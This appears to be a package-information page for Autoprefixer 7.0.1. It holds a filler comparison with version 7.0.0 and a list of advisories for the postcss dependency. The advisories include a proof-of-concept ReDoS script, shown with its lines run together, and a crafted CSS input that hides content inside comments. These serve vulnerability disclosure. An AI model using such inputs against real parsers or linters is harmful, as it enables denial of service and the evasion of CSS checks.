Autoprefixer, a vital tool for web developers, automates the process of adding vendor prefixes to CSS rules, ensuring compatibility across different browsers based on data from Can I Use. Comparing version 7.0.1 with its predecessor, 7.0.0, reveals subtle but important changes. Both versions share the same core dependencies like postcss, browserslist, and caniuse-lite, highlighting their continued reliance on these tools for CSS parsing, browser support determination, and up-to-date browser compatibility data. The developer dependencies, crucial for development and testing, also remain consistent, including tools like gulp, jest, and eslint, underscoring a stable development environment.
The key distinction lies in the release date. Version 7.0.1 was released on May 7, 2017, a day after 7.0.0. While the core functionality appears unchanged, this suggests that version 7.0.1 likely includes bug fixes or minor improvements to the preceding release. Developers considering updating should weigh the potential benefits of these fixes against the stability of their existing setups. It's crucial to consult the changelog or release notes for detailed information on the specific changes introduced in version 7.0.1 to verify if the update addresses any known issues or enhances the library's performance in a manner that is material to their project. Staying updated ensures access to the latest browser compatibility data and any critical bug fixes, optimizing the user experience across diverse web browsers.
All the vulnerabilities related to the version 7.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.